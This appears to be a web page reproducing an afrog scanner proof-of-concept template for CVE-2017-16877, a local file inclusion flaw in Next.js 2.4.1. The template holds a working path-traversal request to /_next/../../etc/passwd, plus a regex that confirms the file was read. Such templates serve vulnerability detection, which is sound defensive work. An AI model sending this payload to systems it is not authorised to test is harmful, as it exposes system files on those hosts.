CVE-2017-16877: Nextjs v2.4.1 LFI

2025-08-01 Nextjs PoC Public

Description

Nextjs v2.4.1 LFI vulnerability.

PoC

id: CVE-2017-16877

info:
  name: Nextjs v2.4.1 LFI
  author: Loneyer
  severity: high
  description: |-
    Nextjs v2.4.1 LFI vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16877
  tags: cve,cve2017,nextjs,lfi
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /_next/../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2017/CVE-2017-16877.yaml

References

Related Vulnerabilities